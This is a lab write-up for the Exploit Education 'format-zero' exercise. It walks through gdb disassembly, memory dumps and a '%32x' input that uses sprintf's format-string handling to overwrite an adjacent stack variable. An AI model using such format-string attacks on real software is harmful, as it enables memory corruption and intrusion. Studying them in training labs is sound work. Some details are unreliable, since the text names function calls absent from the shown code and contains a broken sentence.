Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup
Quick Overview
Format Zero exercise motives are smashing the stack, overwrite arbitrary memory address or variable. However, this Format Zero challenge revolves around Format String Vulnerability
.
Disassemble
Disassembling the code will get you overall idea behind the format-zero code, One can use gdb ./format-zero
to start debugging it in runtime.
gdb ./format-zero
- Type
disassemble main
to get the disassembled code (assembly)
0x000000000040069d <+0>: push rbp
0x000000000040069e <+1>: mov rbp,rsp
0x00000000004006a1 <+4>: sub rsp,0x50
0x00000000004006a5 <+8>: mov DWORD PTR [rbp-0x44],edi
0x00000000004006a8 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x00000000004006ac <+15>: mov edi,0x400790
0x00000000004006b1 <+20>: call 0x4004e0 <puts@plt>
0x00000000004006b6 <+25>: mov rdx,QWORD PTR [rip+0x200423] # 0x600ae0 <stdin>
0x00000000004006bd <+32>: lea rax,[rbp-0x40]
0x00000000004006c1 <+36>: mov esi,0xf
0x00000000004006c6 <+41>: mov rdi,rax
0x00000000004006c9 <+44>: call 0x4004d0 <fgets@plt>
0x00000000004006ce <+49>: test rax,rax
0x00000000004006d1 <+52>: jne 0x4006e7 <main+74>
0x00000000004006d3 <+54>: mov esi,0x4007dc
0x00000000004006d8 <+59>: mov edi,0x1
0x00000000004006dd <+64>: mov eax,0x0
0x00000000004006e2 <+69>: call 0x4004f0 <errx@plt>
0x00000000004006e7 <+74>: mov BYTE PTR [rbp-0x31],0x0
0x00000000004006eb <+78>: mov DWORD PTR [rbp-0x10],0x0
0x00000000004006f2 <+85>: lea rdx,[rbp-0x40]
0x00000000004006f6 <+89>: lea rax,[rbp-0x30]
0x00000000004006fa <+93>: mov rsi,rdx
0x00000000004006fd <+96>: mov rdi,rax
0x0000000000400700 <+99>: mov eax,0x0
0x0000000000400705 <+104>: call 0x400500 <sprintf@plt>
0x000000000040070a <+109>: mov eax,DWORD PTR [rbp-0x10]
0x000000000040070d <+112>: test eax,eax
0x000000000040070f <+114>: je 0x40071d <main+128>
0x0000000000400711 <+116>: mov edi,0x4007f8
0x0000000000400716 <+121>: call 0x4004e0 <puts@plt>
0x000000000040071b <+126>: jmp 0x400727 <main+138>
0x000000000040071d <+128>: mov edi,0x400830
0x0000000000400722 <+133>: call 0x4004e0 <puts@plt>
0x0000000000400727 <+138>: mov edi,0x0
0x000000000040072c <+143>: call 0x400510 <exit@plt>
Before taking a look at the code, if you disassembled the format-zero using gdb to view the assembly instruction, you may notice the puts, greet, strncpy and strcpy function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- Greet with
Welcome to phoenix/format-zero, brought to you by https://exploit.education
message via Puts (aka printf) method - Declares
locals
struct withchar dest[32]
andvolatile int changeme
- Utilizes
fgets
to collect user input and transfers to the buffer withbuffer
size as limit. - Assigns struct variable
locals.changeme
aszero
- Formats
buffer
variables usingsprintf
and saves inlocals.dest
- Verifies that if
locals.changeme
variables for changes.
Memory Allocation
If you take closer look at the memory allocation, every variables declared in the program are allocated in the stack (static). The locals struct contains both char dest[32]
and int changeme
variables packed. Additionally, buffer
char array with size of 16 is allocated next to the struct locals
. Technically, you can’t basically overwrite the struct
with buffer
char array. However, things get tricky when the program starts using sprintf
function to format the buffer
char array and writes back to locals.dest
buffer.
Basically, Format String vulnerability happens because certain type of inputs ( such as %32x
) as format string modifier to sprintf
causes the function to expand and write approximately 32 bytes
into locals.dest
variable. sprintf(locals.dest, '%32x')
has special meaning within the function to expand this modifier into memory address in stack say range upto 32 bytes and then copies back to locals.dest
thus overwriting both locals.dest as well as locals.changeme
variable in memory.
State of memory before executing exploit
(gdb) x/16x $rbp-0x40
0x7fffffffe620: 0x41414141 0x00000a41 0x00000000 0x00000000
0x7fffffffe630: 0x41414141 0x00000a41 0xffffe6b8 0x00007fff
0x7fffffffe640: 0x00000001 0x00000000 0xffffe6c8 0x00007fff
0x7fffffffe650: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/16x $rbp-0x10
0x7fffffffe650: 0x00000000 0x00000000 0x00000000 0x00000000 # <-- 0x7fffffffe650 - Zero
0x7fffffffe660: 0x00000001 0x00000000 0xf7d8fd62 0x00007fff
0x7fffffffe670: 0x00000000 0x00000000 0xffffe6b0 0x00007fff
0x7fffffffe680: 0x00000000 0x00000000 0xf7ffdbc8 0x00007fff
State of memory after executing exploit (Overwritten by sprintf function)
(gdb) x/16x $rbp-0x40
0x7fffffffe620: 0x25414141 0x0a783233 0x00000000 0x00000000
0x7fffffffe630: 0x20414141 0x20202020 0x20202020 0x20202020
0x7fffffffe640: 0x20202020 0x20202020 0x66202020 0x65666666
0x7fffffffe650: 0x0a303236 0x00000000 0x00000000 0x00000000
(gdb) x/16x $rbp-0x10
0x7fffffffe650: 0x0a303236 0x00000000 0x00000000 0x00000000 # <-- 0x7fffffffe650 - 0x0a303236
0x7fffffffe660: 0x00000001 0x00000000 0xf7d8fd62 0x00007fff
0x7fffffffe670: 0x00000000 0x00000000 0xffffe6b0 0x00007fff
0x7fffffffe680: 0x00000000 0x00000000 0xf7ffdbc8 0x00007fff
Exploit
Now, our strategy should be,
- Input
format string
as%32x
- Now,
sprintf
overwrites thelocals.dest
using random address from stack completely overwriting32 characters
in the memory includinglocals.changeme
variable which sits next tolocals.dest
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%32x
Well done, the 'changeme' variable has been changed!
There you go! 🎉 You’ve officially pwned
the may eventually gain code execution in upcoming exercises 🪲
Source and Reference:
- Format Zero Exercise: Exploit Education
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.